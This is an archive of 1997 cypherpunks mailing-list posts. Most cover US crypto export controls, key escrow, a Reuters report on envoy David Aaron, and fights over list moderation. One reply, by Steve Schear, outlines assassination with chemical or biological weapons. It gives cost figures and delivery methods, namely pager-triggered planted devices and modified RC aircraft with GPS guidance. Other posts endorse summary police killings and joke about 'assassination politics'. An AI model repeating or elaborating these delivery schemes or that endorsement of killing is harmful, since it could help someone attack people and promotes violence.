   voice            +31-347-375400                |        Legal informatics
   fax/data        +31-347-375400                |        IT - consultancy
   Web:            www.ngi.nl/cr/                   |        Soaring
_________________________________________________________





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Wed, 29 Jan 1997 23:30:58 -0800 (PST)
To: aga <aga@dhp.com>
Subject: Re: Rejection policy of the Cypherpunks mailing list
In-Reply-To: <Pine.LNX.3.95.970129112620.30306D-100000@dhp.com>
Message-ID: <32F04DF0.2D92@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


aga wrote:
> On Tue, 28 Jan 1997, Dale Thorn wrote:
> > aga wrote:
> > > On Tue, 28 Jan 1997, Dale Thorn wrote:
> > > > > > But seriously, I was just telling the folks over the weekend, if I
> > > > > > had my hand on the button, a lot of people would die very quickly.
> > > > > > As in The Day The Earth Stood Still, a single act of aggression would
> > > > > > suffice to be immediately terminated.
> > > No trial, huh?
> > Good question.  The law we have right now already assumes that there
> > are situations where a criminal will not go peacefully, if at all.
> > In some countries (years ago?) such as England, bobbies were known
> > to not carry firearms for ordinary street duty.  Am I right?  But
> > here in the USA, that would be unthinkable.
> > So my proposal doesn't eliminate the responsibility portion of law
> > enforcement.  I'd say, if a target were eliminated thru negligence,
> > malfeasance, or other wrongdoing under "color of law" or whatever,
> > let the courts handle that as they do now.
> Just who is doing the eliminating?
> > My suggestion would give the law enforcers the ability to dispense
> > the first level of justice expeditiously, which they cannot accomplish
> > now due to all of the red tape and the corrupt legal system (lawyers
> > specialize in getting chronic offenders off, particularly "traffic"
> > offenses).  By transferring a major portion of the bureaucracy to
> > the pencil pushers, we can free up the street cops to do what they
> > do best, namely bust or eliminate criminals.

> Cops can never be trusted to "dispense justice," and half of the
> cops are themselves criminals in what they do.  Most cops steal
> evidence and lie like crazy in Court.  All they want is a conviction,
> and it mattters not how it is obtained.

All true.  But I'm not suggesting the creation of anything new here.
Cops already carry guns and kill people.  All I'm suggesting is that
they be empowered to kill when:
1) The crime is aggression against another person or persons;
2) The evidence is so solid (recorded?) that the officer (who risks
   being prosecuted if he kills unjustifiably) can carry out the
   enforcement without undue apprehension;
3) These things are reviewed by the elected representatives of the
   people, to make sure there's no hanky-panky going on.

> > I dare say that the downside of this is much less pleasant than the
> > virtual anarchy (in the bad sense) we suffer now.  If the police get
> > out of control, A.P. will arrive just in time to plug a few of those
> > holes, so to speak.  Ideally, future robotics should be able to
> > provide something like Gort (sp?) to take the place of human officers,
> > given advances in the kind of pattern matching needed to deter
> > aggression and the like.  Those who don't make it past the robots,
> > well, the rest of us can learn to behave, and we'll be much better
> > off when we do.
> 
> I would trust robots more than humanoids.

The Gort (sp?) robot is a perfect example, and I don't think it's
all that many years away.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Thu, 30 Jan 1997 06:56:10 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Cats Out of Bags
In-Reply-To: <199701292343.PAA16370@toad.com>
Message-ID: <syuB2D10w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


sameer <sameer@c2.net> writes:

> 	David Aaron seems to make lying out of his ass a hobby. His
> talk at the RSA conference was such a load of bullshit it wasn't even
> funny.

The above is a flame.  But because Sandy works for Sameer, it was posted
to the censores list, not tosses to "cypherpunks-flames".

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Greg Broiles <gbroiles@netbox.com>
Date: Wed, 29 Jan 1997 23:39:32 -0800 (PST)
To: Rick Hornbeck <rnh2@ix.netcom.com>
Subject: Re: The Politics of Export Restrictions
Message-ID: <3.0.32.19970129233036.00715ef8@mail.io.com>
MIME-Version: 1.0
Content-Type: text/plain


At 09:44 PM 1/29/97 -0800, Rick Hornbeck wrote:

>Is it possible the unreasonable crypto export restrictions are simply being
>imposed at this time for the purpose of making Al Gore look good when he
>runs for President in 2000?

I suppose it's plausible, but it's an opportunity open to both candidates,
and more plausibly (because of lack of collaboration) to the Republicans -
e.g., Dan Quayle and the "Crypto Freedom For Americans" platform, promising
to rescue Silicon Valley from those evil regulatory Democrats. 

If I were an evil politician trying to set up a trick like you suggest, I
think I'd want a scheme that my opponent(s) couldn't hijack and use against
me.

--
Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles@netbox.com         | 
http://www.io.com/~gbroiles | Export jobs, not crypto.
                            | 




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Thu, 30 Jan 1997 00:11:53 -0800 (PST)
To: Sean Roach <roach_s@alph.swosu.edu>
Subject: Re: Fighting the cybercensor
In-Reply-To: <199701300036.QAA18048@toad.com>
Message-ID: <32F0579F.4DFE@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Sean Roach wrote:
> At 08:15 PM 1/28/97 -0800, Steve Schear wrote:
> >I think a hole in your thinking is to assume that the assasins have no
> >motive other than financial gain.  I would submit that there are those that
> >have the skills, training and a political agenda coherent with the
> >wagerers, lacking only the financial incentive to make the risks
> >acceptable.  These wetworkers won't consider accepting the bribe of the
> >rich/powerful

> This may be true, but the example was to show how easy a defensive line
> could be thrown up around the powerful.  For example, conventional body
> guards could be included, ones with no real pay but with the fore knowledge
> that they will be buried with the tyrant.  These body guards could be ten
> children out of each local village.  Merely a human shield.

[snippo]

In Prizzi's Honor, Nicholson sez "If you try to hide in a submarine on
the bottom of the ocean, we will find you".  But it's not even that
difficult.  Lob a missile into the place and blow it up.  Earth
penetrators are getting better too, for the Sadaam types.  And
there's a zillion more.  Does this "rich person" really want to
spend his/her life living in a sealed tomb?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Toto <toto@sk.sympatico.ca>
Date: Wed, 29 Jan 1997 22:16:40 -0800 (PST)
To: Anonymous <nobody@REPLAY.COM>
Subject: Re: A comment on the censorship policy
In-Reply-To: <199701300447.FAA16712@basement.replay.com>
Message-ID: <32F0597A.49AA@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Anonymous wrote:
> 
> I cannot understand how some of my (accurate) criticisms of Sandfort's
> censorhip polices---some in direct response to his own self-serving posts
> declaring himself not to be a flamer himself---are not making it to the
> "New and Improved Censored List," while inane posts from Toto, Thorn, and
> someone named "Nurdane Oksas" are appearing.

Dear Mr. or Ms. Anonymous,
  It is extremely easy to understand. Just read your own words.
  The key word here is 'accurate' criticisms. This makes them 'flames',
in Sandy's mind, because the purpose of the 'censorship experiment'
was to place total control of the list in the hands of a man who
rarely posts and doesn't seem to participate in the list discussions,
as well as for the purpose of suppressing any real dissent that may
arise from list members.

  Also, one of the reasons that the moderation process is so 
haphazard, is that posts from some individuals are automatically
routed to the 'flames' list at some times, and viewed/censored
at other times, so that a few can be posted to the censored 
list to give some half-hearted illusion of fairness in the
censorship process. (which remains a bad joke, nonetheless).

 Thank you for using the word 'inane' to describe some of my 
posts. Most people aren't polite enough to drop the 's' when
using the word. (Not that it matters. Some individuals are 
automatically 'flame-approved' for the censored list.)

  Also, I wouldn't be too sure that the email you receive from
toad.com accurately reflects what is being posted to each list.
There are some funny things going on between 'incoming' and
'outgoing', and some of them are designed to make the process
obtuse, and hard to follow.

> has the especially annoying habit of quoting entire posts and then
> appending a one-line piece of completely list-irrelevant fluff. Also,
> engaging in lovey-dovey posts with Vulis, who writes messages about how he
> longs to see Oksas naked.)

  Try deleting the irrelevant parts before printing out the parts about
seeing Nurdane naked. That will save you time, and get you to the
bathroom quicker.
 
> This whole process is showing the worst of Sandfort's censorship policy.

  I think that you are being overly kind, once again, in suggesting 
that there really is a 'policy'. It's more like a crapshoot (pardon
the pun), where the spots on the dice change at his personal whim.
 
Toto





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: OKSAS <oksas@asimov.montclair.edu>
Date: Wed, 29 Jan 1997 22:01:17 -0800 (PST)
To: Anonymous <nobody@REPLAY.COM>
Subject: Re: A comment on the censorship policy
In-Reply-To: <199701300447.FAA16712@basement.replay.com>
Message-ID: <Pine.SOL.3.93.970130003802.12600A-100000@pegasus.montclair.edu>
MIME-Version: 1.0
Content-Type: text/plain


On Thu, 30 Jan 1997, Anonymous wrote:
> I cannot understand how some of my (accurate) criticisms of Sandfort's
> censorhip polices---some in direct response to his own self-serving posts
> declaring himself not to be a flamer himself---are not making it to the
> "New and Improved Censored List," while inane posts from Toto, Thorn, and
> someone named "Nurdane Oksas" are appearing.

	WEll....that's not so bad ;)
	
> (Oksas has the especially annoying habit of quoting entire posts and then
> appending a one-line piece of completely list-irrelevant fluff. Also,
	Is it so annoying...? why did you read it to that point??? :)
	Why could you not be so anonymous and tell me?  My posts are
	a bit brief; Blancs' are far better, next time read hers.

> engaging in lovey-dovey posts with Vulis, who writes messages about how he
> longs to see Oksas naked.)

	Huh??  You are being a 'fluff' here ;)
	
> This whole process is showing the worst of Sandfort's censorship policy.
> 
> (If this is dumped into the "Not suitable for Cypherpunks to read" list, I
> urge those of you who see it to pass it on to the main list.)

> 
> END
> 
> --
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Thu, 30 Jan 1997 01:53:28 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Last nail for US crypto export policy?
In-Reply-To: <199701291411.JAA01361@raptor.research.att.com>
Message-ID: <3.0.1.32.19970130014152.0064ff48@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


At 10:45 AM 1/29/97 -0500, Dan Geer wrote:
>Steve is absolutely right on the money, particularly about the likely
>happiness on the government side.

I pretty much agree.  On the other hand, Ian did a nice job on the
radio (NPR, probably was All Things Considered) of pushing the
"look, if a college student can break 40 bits in a couple of hours,
it's really stupid for the government to limit us like this";
a couple of other people also contributed spin, and it came out
pretty strongly against export restrictions.

I think we do need to get some sort of push going for 3DES as a
replacement for DES - it's strong enough, even though DES is showing
its age, and it's an obvious transition from the current technology.
It's slower and clunkier than IDEA or RC4/128, but still not bad.

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mike McNally <m5@vail.tivoli.com>
Date: Wed, 29 Jan 1997 23:46:52 -0800 (PST)
To: jim bell <jimbell@pacifier.com>
Subject: Re: Sovreign Right of Lawful Access
In-Reply-To: <199701300710.XAA25411@toad.com>
Message-ID: <32F051A0.45C3@vail.tivoli.com>
MIME-Version: 1.0
Content-Type: text/plain


jim bell wrote:
> 
> I see no reason to believe that the advent of telephone technology 
> in the late 1800's should have retroactively re-written the US 
> Constitution ...

This point, unfortunately, seems to be lost in the woods.  At the
panel discussions in this conference, so many people used phrases
like "... law enforcement doing what they need to do..." on *both*
sides of the GAK fence.  "Need" to do?  Well, they might "need" to
do lots of things under their own view of reality, but that doesn't
mean it's reasonable to negotiate towards that position.  Why is
it that just because one party shows up with a wacked-out agenda that
the "honorable" thing to do is work towards a consensus solution?

-- 
^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^
Mike McNally -- Egregiously Pointy -- Tivoli Systems, "IBM" -- Austin
mailto:m5@tivoli.com    mailto:m101@io.com    http://www.io.com/~m101
^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: wlkngowl@unix.asb.com (Mutatis Mutantdis)
Date: Wed, 29 Jan 1997 18:01:48 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Workaround for filtering/cybersitter
Message-ID: <199701300223.VAA12817@unix.asb.com>
MIME-Version: 1.0
Content-Type: text/plain


On 29 Jan 1997 17:33:41 -0500, you wrote:

>If I had experience with Netscape plugins and spare time, I'd
>try it myself.  But here's my proposed solution.  

>A plugin in Netscape intercepts all requests,  encrypt the URL
>with a pubkey algorithm, encode the string base64, send it as GET input to
>a proxy server.

>The proxy server decodes and decrypts the URL, gets the requested page,
>and returns it.  This beats out URL-based filtering.

Depends who is doing the filtering? If it's mom and dad keeping you from
looking at naughty pix, maybe.

If it's the gov't keeping you from looking at subversive sites, maybe not:
they'll go out of their way to block such proxies, and in some countries you
could get in hellish trouble for owning such a plug-in.

Rob






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Wed, 29 Jan 1997 21:11:55 -0800 (PST)
To: cypherpunks@toad.com
Subject: A comment on the censorship policy
Message-ID: <199701300447.FAA16712@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain




I cannot understand how some of my (accurate) criticisms of Sandfort's
censorhip polices---some in direct response to his own self-serving posts
declaring himself not to be a flamer himself---are not making it to the
"New and Improved Censored List," while inane posts from Toto, Thorn, and
someone named "Nurdane Oksas" are appearing.

(Oksas has the especially annoying habit of quoting entire posts and then
appending a one-line piece of completely list-irrelevant fluff. Also,
engaging in lovey-dovey posts with Vulis, who writes messages about how he
longs to see Oksas naked.)

This whole process is showing the worst of Sandfort's censorship policy.

(If this is dumped into the "Not suitable for Cypherpunks to read" list, I
urge those of you who see it to pass it on to the main list.)

END

--




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@pathfinder.com>
Date: Thu, 30 Jan 1997 04:50:17 -0800 (PST)
To: Greg Broiles <gbroiles@netbox.com>
Subject: Re: The Politics of Export Restrictions
In-Reply-To: <199701300855.AAA27401@toad.com>
Message-ID: <Pine.GSO.3.95.970130074522.17125B-100000@cp.pathfinder.com>
MIME-Version: 1.0
Content-Type: text/plain


Agreed. It's the Republicans who are the most adamantly pro-crypto. They'd
love to use it as a noose to hang Gore in 2000. If Gore switches positions
-- which I think unlikely -- it'll just be another area where both parties
agree. A minor point: since Gore has been the chief crypto-critic of this
administration, if he switched he'd leave himself open to charges of
waffling. 

Then again, some administration officials tell me they expect this debate
to be resolved within a year, so go figure.

-Declan


On Wed, 29 Jan 1997, Greg Broiles wrote:

> At 09:44 PM 1/29/97 -0800, Rick Hornbeck wrote:
> 
> >Is it possible the unreasonable crypto export restrictions are simply being
> >imposed at this time for the purpose of making Al Gore look good when he
> >runs for President in 2000?
> 
> I suppose it's plausible, but it's an opportunity open to both candidates,
> and more plausibly (because of lack of collaboration) to the Republicans -
> e.g., Dan Quayle and the "Crypto Freedom For Americans" platform, promising
> to rescue Silicon Valley from those evil regulatory Democrats. 
> 
> If I were an evil politician trying to set up a trick like you suggest, I
> think I'd want a scheme that my opponent(s) couldn't hijack and use against
> me.
> 
> --
> Greg Broiles                | US crypto export control policy in a nutshell:
> gbroiles@netbox.com         | 
> http://www.io.com/~gbroiles | Export jobs, not crypto.
>                             | 
> 
> 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rick Hornbeck <rnh2@ix.netcom.com>
Date: Thu, 30 Jan 1997 07:59:35 -0800 (PST)
To: cypherpunks@toad.com
Subject: The Politics of Export Restrictions - Clarified
Message-ID: <3.0.1.32.19970130075821.00689c60@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


I agree the strategy would have to be hijack-proof.  Something like Gore
experiencing a convenient "change of heart" towards the end of this current
term and convincing Clinton and the administration to soften crypto export
restrictions which would make Gore look like a hero to the high-tech
community just in time for the election. Naturally this would have to be
carefully scripted but the objective would be to keep the democrats in power.

Just a theory.



>Return-Path: <owner-cypherpunks@toad.com>
>Date: Wed, 29 Jan 1997 23:43:43 -0800
>From: Greg Broiles <gbroiles@netbox.com>
>To: Rick Hornbeck <rnh2@ix.netcom.com>
>Cc: cypherpunks@toad.com
>Subject: Re: The Politics of Export Restrictions
>Sender: owner-cypherpunks@toad.com
>
>At 09:44 PM 1/29/97 -0800, Rick Hornbeck wrote:
>
>>Is it possible the unreasonable crypto export restrictions are simply being
>>imposed at this time for the purpose of making Al Gore look good when he
>>runs for President in 2000?
>
>I suppose it's plausible, but it's an opportunity open to both candidates,
>and more plausibly (because of lack of collaboration) to the Republicans -
>e.g., Dan Quayle and the "Crypto Freedom For Americans" platform, promising
>to rescue Silicon Valley from those evil regulatory Democrats. 
>
>If I were an evil politician trying to set up a trick like you suggest, I
>think I'd want a scheme that my opponent(s) couldn't hijack and use against
>me.
>
>--
>Greg Broiles                | US crypto export control policy in a nutshell:
>gbroiles@netbox.com         | 
>http://www.io.com/~gbroiles | Export jobs, not crypto.
>                            | 
>
>
>





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "tmcghan@gill-simpson.com" <tmcghan@gill-simpson.com>
Date: Thu, 30 Jan 1997 05:40:17 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Cats Out of Bags
Message-ID: <199701301339.IAA24380@mail.bcpl.lib.md.us>
MIME-Version: 1.0
Content-Type: text/plain


 According to Duncan Frissell <frissell@panix.com>

> "In an interview Tuesday, [David L.] Aaron [the Feds' Crypto Ambassador] disputed the
{snip}
> "When I talk to other governments," he said, "they still don't feel...


===(mis)quoted, paraphrased, and enhanced from current news reports===

The Clinton administration's newly named point man on encryption policy is citing
international support for U.S. policies limiting use of encryption and called for
industry cooperation. 

Speaking to the RSA Data Security Conference in San Francisco, David
Aaron said that U.S. allies support the concept of lawful access by
governments and the use of key recovery mechanisms. 

The White House's continued restrictions on encryption have been unpopular in the
cryptography community and among major U.S. corporations and high tech companies
because of the business disadvantage vis a vis foreign firms.

Aaron alleges that U.S. trading partners have misgivings about the 
U.S. government's decision in October to allow 'moderately strong' 56-bit encryption,
to be exported, under controlled circumstances, but were willing to cooperate on the
policy. 

"As far as I can see, the international encryption market will not be 
a free-wheeling affair," he said, adding companies should consider that 
lawful access and key escrow capabilities may become "a growthe 
industry"

In his speech, Aaron also listed cases where the U.S. government said 
encryption was used in terrorist plots, drug dealing, child pornography 
and espionage, adding the White House, "in no way seeks to expand law 
enforcement powers nor reduce the privacy of individuals." 

Independent experts strongly disagreed with Aaron's characterization of the
international posture following his address here, and leading U.S. legislators
said they would continue to push for further reform of the restrictions. 

"I just don't think it will work," Sen. Conrad Burns, a Montana 
Republican who has been behind the legislative effort to promote use 
of stronger levels of encryption, said of the White House encryption 
policy. 

"I think if bad people want to do bad things to good people, they 
certainly won't want to file their key (with any law enforcement 
authorities)," Burns said in a satellite conference.

Marc Rotenberg, director of the Washington, D.C.-based Electronic 
Privacy Information Center, rebutted Aaron's suggestion that 
Washington has broad international support for its concept of lawful access by 
governments to the keys to encrypted files and communications. 

Rotenberg said at the recent Organization of Economic Cooperation and 
Development (OECD) meetings on encryption policy, that was not the 
case, nor were a number of countries pushing for stronger controls, as 
Aaron said they had been. 

Germany, Australia, Japan and Canada all are advancing competing cryptography 
capabilities, according to Rotenberg.

Thomas M. McGhan
tmcghan@gill-simpson.com
http://www.gill-simpson.com
voice:       (410) 467-3335
fax:         (410) 235-6961
pagenet:     (410) 716-1342
cellular:    (410) 241-9113
ICBM:        39.395N 76.469W




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: azur@netcom.com (Steve Schear)
Date: Thu, 30 Jan 1997 09:17:15 -0800 (PST)
To: dthorn@gte.net
Subject: Re: Fighting the cybercensor
Message-ID: <v02140b00af168832dc98@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain


>Sean Roach wrote:
>> At 08:15 PM 1/28/97 -0800, Steve Schear wrote:
>> >I think a hole in your thinking is to assume that the assasins have no
>> >motive other than financial gain.  I would submit that there are those that
>> >have the skills, training and a political agenda coherent with the
>> >wagerers, lacking only the financial incentive to make the risks
>> >acceptable.  These wetworkers won't consider accepting the bribe of the
>> >rich/powerful
>
>> This may be true, but the example was to show how easy a defensive line
>> could be thrown up around the powerful.  For example, conventional body
>> guards could be included, ones with no real pay but with the fore knowledge
>> that they will be buried with the tyrant.  These body guards could be ten
>> children out of each local village.  Merely a human shield.
>
>[snippo]
>
>In Prizzi's Honor, Nicholson sez "If you try to hide in a submarine on
>the bottom of the ocean, we will find you".  But it's not even that
>difficult.  Lob a missile into the place and blow it up.  Earth
>penetrators are getting better too, for the Sadaam types.  And
>there's a zillion more.  Does this "rich person" really want to
>spend his/her life living in a sealed tomb?

Yep. Chemical Biological Weapons (CBW), the choice of many future
terrorists and assassins, can now be produced by anyone with a solid
background in organic chemistry or microbiology and a relatively modest
amount of funding (< USD 10,000).

Delivery can be by any number of means, including: static (e.g., planted at
a location in wait for the target and remotely triggered, for example by a
pager. Cost less than USD 500) or dynamic (e.g., a small remotely piloted
or autonomous aircraft, for example, a modified giant-scale RC plane.  Cost
less than USD 3000 if remotely controlled, USD 5000-10,000 if autonomous
using DGPS guidance).  EE experience is assumed.

If the assassin is unconcerned with collateral damage his success depends
only on knowing where his target will be and when.  Since CBW agents can
have a considerable kill zone there is no need for 'crosshair' accuracy.

--Steve






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Eric Murray <ericm@lne.com>
Date: Thu, 30 Jan 1997 09:28:49 -0800 (PST)
To: wiseleo@juno.com (Leonid S Knyshov)
Subject: Re: Altavista
In-Reply-To: <199701300610.WAA24295@toad.com>
Message-ID: <199701301727.JAA30040@slack.lne.com>
MIME-Version: 1.0
Content-Type: text/plain


Leonid S Knyshov writes:
 
[about targeted webvertising using stats gathered by tracking browsers]

 
> I think it is a good idea, no wonder doubleclick.net is one of the
> leaders in advertising. You are shown only the ads that will potentially
> interest you, search for shopping and you are gonna get one of those ISN
> ads etc. 
> 
> I think it is a good idea FWIW.
> 
> I wouldn't think that a company such as doubleclick.net will do you any
> harm.

Probably not.  But the practice still bothers me.  _I_ want to control
what information about me others can have.  I do not want the precedent
set that on the Net, what you do is trackable by every organization
who might care.  Sooner or later someone _would_ use that information to
hurt me.

That's why I wrote cookie jar, a program that lets the user have better
control over which 'cookies' if any they release to web servers, and
what other information their browser gives out.  See
http://www.lne.com/ericm/cookie_jar/ for details and code.


> >Interestingly, I've just noticed over the last couple of days that the 
> >in-line
> >ads are directly relevant to the search words I enter. I did a search 
> >yesterday
> >on "Quicken" and "security" and all the in-line ads I was shown 
> >referred to
> >security or penetration detection products.


This doesn't bother me as much (besides the fucking ads, which I
hate... maybe I'll make cookie jar smart enough to nuke them).
The reason is that the ads are selected based on what you typed in
to the search engine right then- there's no tracking involved like
with Doubleclick.



-- 
Eric Murray  ericm@lne.com  ericm@motorcycle.com  http://www.lne.com/ericm
PGP keyid:E03F65E5 fingerprint:50 B0 A2 4C 7D 86 FC 03  92 E8 AC E6 7E 27 29 AF




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lynx_User@linux.nycmetro.com
Date: Thu, 30 Jan 1997 06:46:43 -0800 (PST)
To: cypherpunks@toad.com
Subject: encrypt_3.html
Message-ID: <199701301448.JAA11209@linux.nycmetro.com>
MIME-Version: 1.0
Content-Type: text/plain



                             Reuters New Media
                                      
   
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   Wednesday January 29 3:26 PM EST 
   
U.S. Encryption Envoy Seeks Industry Cooperation

   SAN FRANCISCO - The Clinton administration's newly named point man on
   encryption policy is citing international support for U.S. policies
   limiting use of encryption and called for industry cooperation.
   
   Ambassador David Aaron, special envoy for cryptography, said on a
   speech to the RSA Data Security Conference in San Francisco that U.S.
   allies support the concept of lawful access by governments and the use
   of key recovery mechanisms.
   
   Key recovery would involve storing encoding keys in escrow so
   authorities could get access to them to unscramble data in an
   emergency, such as to uncover criminal activity.
   
   The White House's continued restrictions on encryption have been
   unpopular in the cryptography community and among major U.S.
   corporations and high tech companies, which argue the limitations put
   U.S. business at a disadvantage.
   
   Aaron said some U.S. trading partners have misgivings about the U.S.
   government's decision in October to relax U.S. export controls to
   allow export of moderately strong 56-bit encryption, but were willing
   to cooperate on the policy.
   
   "As far as I can see, the international encryption market will not be
   a free-wheeling affair," he said, adding companies should consider
   that lawful access and key escrow capabilities may become "a growing
   international requirement."
   
   In his speech, Aaron also listed cases where the U.S. government said
   encryption was used in terrorist plots, drug dealing, child
   pornography and espionage, adding the White House, "in no way seeks to
   expand law enforcement powers nor reduce the privacy of individuals."
   
   But some independent experts who monitor cryptography policy disagreed
   with Aaron's characterization of the international posture following
   his address here, and leading U.S. legislators said they would
   continue to push the White House to further liberalize the
   restrictions.
   
   "I just don't think it will work," Sen. Conrad Burns, a Montana
   Republican who has been behind the legislative effort to promote use
   of stronger levels of encryption, said of the White House encryption
   policy.
   
   "I think if bad people want to do bad things to good people, they
   certainly won't want to file their key (with any law enforcement
   authorities)," he told conference attendees over a satellite linkup.
   
   Burns appeared in the linkup with three legislative colleagues to
   stress that together they would push to put "get the administration
   out in front of the cryptography curve."
   
   Marc Rotenberg, director of the Washington, D.C.-based Electronic
   Privacy Information Center, rebutted Aaron's suggestion that
   Washington has broad international support for its concept of lawful
   access by governments to the keys to encrypted files and
   communications.
   
   Rotenberg said at the recent Organization of Economic Cooperation and
   Development (OECD) meetings on encryption policy, that was not the
   case, nor were a number of countries pushing for stronger controls, as
   Aaron said they had been.
   
   In fact, countries such as Japan, Germany, Australia and Canada all
   have competing cryptography capabilities they are promoting, he added.
   
   The OECD guidelines are due to be published next month.
   
   Copyright, Reuters Ltd. All rights reserved
   
     _________________________________________________________________
                                      
   Earlier Related Stories
     * Encryption Export Bill Backed In Senate - Wed Jan 29 9:54 am
       
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    Questions or Comments




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Thu, 30 Jan 1997 07:13:15 -0800 (PST)
To: cypherpunks@toad.com
Subject: KOW_tow
Message-ID: <1.5.4.32.19970130150747.006ba560@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


1-28-97:

"New Crypto Engines From Trusted Information Systems Allow Easy
International Use of Strong Encryption "

  By supporting any application that calls for the use of algorithms such 
  as DES, Triple-DES, or 128-bit RC2 or RC4, "this product will allow 
  Windows users to use encryption as easily as they use a mouse. 
  Previously, if developers wanted to use encryption in their products, they 
  had to consider writing two different versions, dealing with changing 
  export regulations, and so on. Now, they can write one version of the 
  program and sell it worldwide, knowing that the CSP will handle the 
  encryption legally and safely."

"Two Companies Set to Offer Key Recovery Services Using Technology
from TIS "

  SourceKey and Data Securities International (DSI) have applied
  for approval to operate Key Recovery Centers to support
  exported encryption products. TIS also announced today that it is in 
  negotiations with  the National Computing Centre, Ltd. of the U.K. and 
  Philips Crypto BV of the Netherlands to license the first non-U.S.-based 
  Key Recovery Centers for third party use.

"Burns Prepares To Reintroduce Encryption Bill"

  "This time around," Burns said, "we intend to put a bill on the
  President's desk and find out if he is truly on the side of the
  users and providers of rapidly expanding high-tech goods and
  services." It would prohibit a mandatory system under which
 producers or users of hardware and software would be required
 to surrender a decoding "key" to a third party.

-----

KOW_tow





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Thu, 30 Jan 1997 08:38:12 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Fighting the cybercensor
In-Reply-To: <199701300510.VAA23055@toad.com>
Message-ID: <R8Nc2D3w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


ichudov@algebra.com writes:

> Dr.Dimitri Vulis KOTM wrote:
> > ichudov@algebra.com (Igor Chudov @ home) writes:
> > >
> > > Why, death of Jim Bell from his own murder machine is a very exciting, I
> > > would say a very Kafkian thing to happen. I am looking forward to it. I
> > > even think that Jim Bell would not oppose such an outcome that much,
> > > since his assination bot would be such an important invention for the
> > > humanity. Maybe it will reverse the course of world history!
> > 
> > Igor, you keep misspelling "assassination" as in "talk.politics.assassinati
> > an unmoderated Usenet newsgroup carried by all honorable Usenet providers.
> 
> No, I knew what was the correct spelling, but I like the shorter one
> more. It sounds funny to me.
> 
> 	- Igor.
> 

It looks like Igor has made it to Sandy's list of "flamers" whose every
submission is procmailed to "cypherpunks-flames". The above quote is
crypto-relevant (as is assassination politics) and contains no flames.
it was tossed into "cypherpunks-flames" by a robot. The time stamps
clearly show that Sandy didn't even look at it.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: sameer <sameer@c2.net>
Date: Thu, 30 Jan 1997 10:08:57 -0800 (PST)
To: atb@purple.reddesign.com (Angooki Taipu)
Subject: Re: Cats Out of Bags
In-Reply-To: <v02130500ad33332cb5db@[204.179.134.109]>
Message-ID: <199701301831.KAA12660@gabber.c2.net>
MIME-Version: 1.0
Content-Type: text/plain


> 
> Remember, Aaron is employee of the government.  He talks in doublespeak,

	Aaron is employee of the government. Therefore he must lie.

-- 
Sameer Parekh					Voice:   510-986-8770
President					FAX:     510-986-8777
C2Net
http://www.c2.net/				sameer@c2.net




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Thu, 30 Jan 1997 08:46:05 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: A comment on the censorship policy
In-Reply-To: <Pine.SOL.3.93.970130003802.12600A-100000@pegasus.montclair.edu>
